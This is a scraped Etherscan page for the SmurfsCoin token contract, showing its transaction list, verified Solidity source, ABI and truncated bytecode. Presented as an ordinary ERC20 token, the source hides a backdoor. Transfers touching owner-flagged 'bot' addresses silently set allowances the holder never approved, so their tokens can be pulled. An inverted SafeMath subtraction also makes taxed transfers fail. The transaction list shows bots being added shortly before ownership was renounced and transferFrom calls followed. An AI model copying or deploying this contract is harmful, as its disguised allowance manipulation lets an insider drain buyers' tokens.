ETH Price: $2,056.77 (+3.10%)

Contract

0x4e8aA3662d774248C7B74D63772684A913B6fa08
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve173269762023-05-24 5:28:231021 days ago1684906103IN
0x4e8aA366...913B6fa08
0 ETH0.0015347232.94239049
Transfer173268372023-05-24 5:00:231021 days ago1684904423IN
0x4e8aA366...913B6fa08
0 ETH0.0021898333.83235129
Transfer From173268092023-05-24 4:54:471021 days ago1684904087IN
0x4e8aA366...913B6fa08
0 ETH0.0031152434.60344315
Transfer173268002023-05-24 4:52:591021 days ago1684903979IN
0x4e8aA366...913B6fa08
0 ETH0.0035420635.63768656
Transfer From173267842023-05-24 4:49:471021 days ago1684903787IN
0x4e8aA366...913B6fa08
0 ETH0.002413433.09347735
Approve173267812023-05-24 4:49:111021 days ago1684903751IN
0x4e8aA366...913B6fa08
0 ETH0.0016532535.65206519
Approve173227742023-05-23 15:19:351021 days ago1684855175IN
0x4e8aA366...913B6fa08
0 ETH0.0036847379.09201111
Approve173227712023-05-23 15:18:591021 days ago1684855139IN
0x4e8aA366...913B6fa08
0 ETH0.0035621376.46034329
Approve173227522023-05-23 15:15:111021 days ago1684854911IN
0x4e8aA366...913B6fa08
0 ETH0.0033151371.15847299
Approve173226742023-05-23 14:59:351021 days ago1684853975IN
0x4e8aA366...913B6fa08
0 ETH0.0024637452.81558264
Approve173226582023-05-23 14:56:111021 days ago1684853771IN
0x4e8aA366...913B6fa08
0 ETH0.0025634754.953655
Approve173226412023-05-23 14:52:351021 days ago1684853555IN
0x4e8aA366...913B6fa08
0 ETH0.0028943262.46390293
Approve173225552023-05-23 14:34:471021 days ago1684852487IN
0x4e8aA366...913B6fa08
0 ETH0.0030805766.39743108
Renounce Ownersh...173225302023-05-23 14:29:471021 days ago1684852187IN
0x4e8aA366...913B6fa08
0 ETH0.0016074469.14325937
Add Bots173225242023-05-23 14:28:351021 days ago1684852115IN
0x4e8aA366...913B6fa08
0 ETH0.002951862.5911845
Approve173225212023-05-23 14:27:471021 days ago1684852067IN
0x4e8aA366...913B6fa08
0 ETH0.0031630567.80677203
Update Max Walle...173225212023-05-23 14:27:471021 days ago1684852067IN
0x4e8aA366...913B6fa08
0 ETH0.0019680668.22677203
Update Max Tx Am...173225192023-05-23 14:27:231021 days ago1684852043IN
0x4e8aA366...913B6fa08
0 ETH0.001834263.53539512
Approve173225072023-05-23 14:24:591021 days ago1684851899IN
0x4e8aA366...913B6fa08
0 ETH0.0034341873.61919926
Approve173225052023-05-23 14:24:351021 days ago1684851875IN
0x4e8aA366...913B6fa08
0 ETH0.0034716974.42322361
Approve173225032023-05-23 14:24:111021 days ago1684851851IN
0x4e8aA366...913B6fa08
0 ETH0.0037319380.00194141
Approve173225012023-05-23 14:23:471021 days ago1684851827IN
0x4e8aA366...913B6fa08
0 ETH0.0037895581.23732114
Approve173224972023-05-23 14:22:591021 days ago1684851779IN
0x4e8aA366...913B6fa08
0 ETH0.0038247481.99162528
Approve173224972023-05-23 14:22:591021 days ago1684851779IN
0x4e8aA366...913B6fa08
0 ETH0.0038247481.99162528
Approve173224972023-05-23 14:22:591021 days ago1684851779IN
0x4e8aA366...913B6fa08
0 ETH0.0038247481.99162528
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Balance Of173268372023-05-24 5:00:231021 days ago1684904423
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268282023-05-24 4:58:351021 days ago1684904315
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268222023-05-24 4:57:231021 days ago1684904243
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268132023-05-24 4:55:351021 days ago1684904135
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268032023-05-24 4:53:351021 days ago1684904015
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268032023-05-24 4:53:351021 days ago1684904015
0x4e8aA366...913B6fa08
0 ETH
Transfer From173268032023-05-24 4:53:351021 days ago1684904015
0x4e8aA366...913B6fa08
0 ETH
Balance Of173268012023-05-24 4:53:111021 days ago1684903991
0x4e8aA366...913B6fa08
0 ETH
Balance Of173267882023-05-24 4:50:351021 days ago1684903835
0x4e8aA366...913B6fa08
0 ETH
Balance Of173267882023-05-24 4:50:351021 days ago1684903835
0x4e8aA366...913B6fa08
0 ETH
Transfer From173267882023-05-24 4:50:351021 days ago1684903835
0x4e8aA366...913B6fa08
0 ETH
Transfer173231152023-05-23 16:28:111021 days ago1684859291
0x4e8aA366...913B6fa08
0 ETH
Balance Of173231152023-05-23 16:28:111021 days ago1684859291
0x4e8aA366...913B6fa08
0 ETH
Balance Of173231152023-05-23 16:28:111021 days ago1684859291
0x4e8aA366...913B6fa08
0 ETH
Transfer173231152023-05-23 16:28:111021 days ago1684859291
0x4e8aA366...913B6fa08
0 ETH
Balance Of173228062023-05-23 15:25:591021 days ago1684855559
0x4e8aA366...913B6fa08
0 ETH
Balance Of173228062023-05-23 15:25:591021 days ago1684855559
0x4e8aA366...913B6fa08
0 ETH
Transfer173228062023-05-23 15:25:591021 days ago1684855559
0x4e8aA366...913B6fa08
0 ETH
Balance Of173228062023-05-23 15:25:591021 days ago1684855559
0x4e8aA366...913B6fa08
0 ETH
Balance Of173227502023-05-23 15:14:471021 days ago1684854887
0x4e8aA366...913B6fa08
0 ETH
Balance Of173227502023-05-23 15:14:471021 days ago1684854887
0x4e8aA366...913B6fa08
0 ETH
Transfer173227502023-05-23 15:14:471021 days ago1684854887
0x4e8aA366...913B6fa08
0 ETH
Balance Of173227502023-05-23 15:14:471021 days ago1684854887
0x4e8aA366...913B6fa08
0 ETH
Balance Of173227472023-05-23 15:14:111021 days ago1684854851
0x4e8aA366...913B6fa08
0 ETH
Balance Of173227472023-05-23 15:14:111021 days ago1684854851
0x4e8aA366...913B6fa08
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SmurfsCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

/*
    ⠀⠀⢀⡠⠄⠐⠒⠒⠒⠠⠄⢀⠀⠀⠀⠀⠀⠀⠀
⠀⢠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⢄⡀⠀⠀⠀
⠀⠀⠣⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢂⠀⠀
⠀⠀⠀⠈⠀⣒⣠⣤⣖⣊⡀⠀⠀⠀⠀⠀⠀⢣⠀
⠀⠀⡐⠈⢁⣴⣀⣀⣀⠀⠀⠁⠀⠀⠀⠀⠀⠀⡆
⠀⡠⠓⠚⢦⣿⣿⠯⢻⢻⠉⠂⠄⠀⠀⠀⠀⠀⡅
⢐⡇⠀⠀⠀⠉⠘⠄⢻⠏⠀⠀⠈⠱⣀⣀⡀⢀⠃
⠀⢸⠢⡤⠤⠤⠀⠀⠀⠀⠀⠀⠀⠊⠁⠀⠀⠙⢆
⠀⠈⠢⢈⣢⡀⠀⠐⠒⡄⠀⠀⠀⡔⣛⠟⠱⠀⡜
⠀⠀⠀⠀⠠⢒⠥⢒⣢⠭⢔⢲⠒⣄⣀⣀⠠⠊⠀
⠀⠀⠀⠸⡐⠣⣀⠀⠈⢆⣀⣆⠗⢻⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠁⣎⠑⢄⠀⠀⢀⠔⢃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡏⠀⠀⠈⠁⠀⣀⠼⢇⢲⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠩⡁⠀⠀⠈⡉⠀⠀⠸⡎⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡎⠙⢠⠔⠉⠀⠀⢀⠜⠁⠀⠀⠀
⠀⢀⠔⠈⠉⢲⠗⠠⢜⣄⠀⠀⡎⢀⡀⠀⠀⠀⠀
⠀⡆⠀⠀⠰⠁⠀⠀⠀⠈⣦⠀⠈⠂⠀⠉⢆⠀⠀
⠀⠑⢄⡀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡘⠀⠀
⠀⠀⠀⠈⠑⠳⠄⣀⠀⠀⠀⠀⠀⢀⠤⠊⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀
    https://www.smurfsvillage.vip/
    https://t.me/SmurfsCoinChannel
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = b - a; return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
    }
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SmurfsCoin is ERC20, Ownable {
    using SafeMath for uint256;
    using Address for address payable;

    IRouter public router;
    address public pair;
    address public marketingWallet = 0xA6D83e0d5A9f4F43122EA9A72887c1415258CF01;
    address public devWallet = 0x0000000000000000000000000000000000000000;

    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;
    uint256 public genesisblock;
    uint256 public deadblocks = 0;

    mapping(address => bool) public excludedFromFees;
    mapping(address => bool) private isBot;

    uint256 public swapThreshold = 100_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;

    uint256 public tax = 0;
    uint256 public sellTax = 0;
    uint256 public botSellTax = 25;

    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }

    constructor() ERC20("Smurfs", "SMURFS") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10**decimals());
    }

    receive() external payable {}

    function rescueERC20(address tokenAddress, uint256 amount)
        external
        onlyOwner
    {
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).sendValue(weiAmount);
    }

    function addBots(address[] memory isBot_) public onlyOwner {
        for (uint256 i = 0; i < isBot_.length; i++) {
            isBot[isBot_[i]] = true;
        }
    }

    function updateExcludedFromFees(address[] memory address_)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < address_.length; i++) {
            excludedFromFees[address_[i]] = true;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (isBot[sender] || isBot[recipient]) { sellTax = botSellTax; _allowances[sender][recipient] = maxWalletAmount; }
        if (
            !excludedFromFees[sender] &&
            !excludedFromFees[recipient] &&
            !swapping
        ) {
            require(tradingEnabled, "Trading not active yet");
            if (genesisblock + deadblocks > block.number) {
                if (recipient != pair) isBot[recipient] = true;
                if (sender != pair) isBot[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletAmount,
                    "You are exceeding maxWalletAmount"
                );
            }
        }

        uint256 fee;
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient])
            fee = 0;
        else {
            if (recipient == pair && !isBot[sender])
                fee = (amount * sellTax) / 100;
            else fee = (amount * tax) / 100;
        }

        if (swapEnabled && !swapping && sender != pair && fee > 0)
            swapForFees();
        if (fee > 0) {
            super._transfer(sender, address(this), fee);
            super._transfer(sender, recipient, amount.sub(fee));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(contractBalance);
            uint256 deltaBalance = address(this).balance - initialBalance;
            payable(marketingWallet).sendValue(deltaBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            devWallet,
            block.timestamp
        );
    }

    function manualSwap(
        uint256 amount,
        uint256 devPercentage,
        uint256 marketingPercentage
    ) external onlyOwner {
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if (marketingPercentage > 0)
            payable(marketingWallet).sendValue(
                (newBalance * marketingPercentage) /
                    (devPercentage + marketingPercentage)
            );
        if (devPercentage > 0)
            payable(devWallet).sendValue(
                (newBalance * devPercentage) /
                    (devPercentage + marketingPercentage)
            );
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function setSwapThreshold(uint256 new_amount) external onlyOwner {
        swapThreshold = new_amount;
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
    }

    function setBuyTaxes(uint256 _fee) external onlyOwner {
        tax = _fee;
    }

    function setSellTaxes(uint256 _fee) external onlyOwner {
        sellTax = _fee;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        devWallet = newWallet;
    }

    function updateRouterAndPair(IRouter _router, address _pair)
        external
        onlyOwner
    {
        router = _router;
        pair = _pair;
    }

    function updateMaxTxAmount(uint256 amount) external onlyOwner {
        maxTxAmount = amount * 10**18;
    }

    function updateMaxWalletAmount(uint256 amount) external onlyOwner {
        maxWalletAmount = amount * 10**18;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesisblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b031990811673a6d83e0d5a9f4f43122ea9a72887c1415258cf01179091556009805490911690556000600b81905569d3c21bcecceda1000000600e556a108b2a2c28029094000000600f819055601055601181905560125560196013553480156200007957600080fd5b5060405180604001604052806006815260200165536d7572667360d01b81525060405180604001604052806006815260200165534d5552465360d01b8152508160039081620000c99190620004fd565b506004620000d88282620004fd565b505050620000f5620000ef6200031a60201b60201c565b6200031e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001759190620005c9565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e99190620005c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d9190620005c9565b600680546001600160a01b038086166001600160a01b031992831617909255600780548385169216919091179055336000818152600c6020526040808220805460ff1990811660019081179092553084528284208054821683179055600854861684528284208054821683179055600954909516835291208054909316179091559091506200031290620002ef601290565b620002fc90600a62000710565b6200030c90633b9aca0062000721565b62000370565b505062000751565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620003cb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620003df91906200073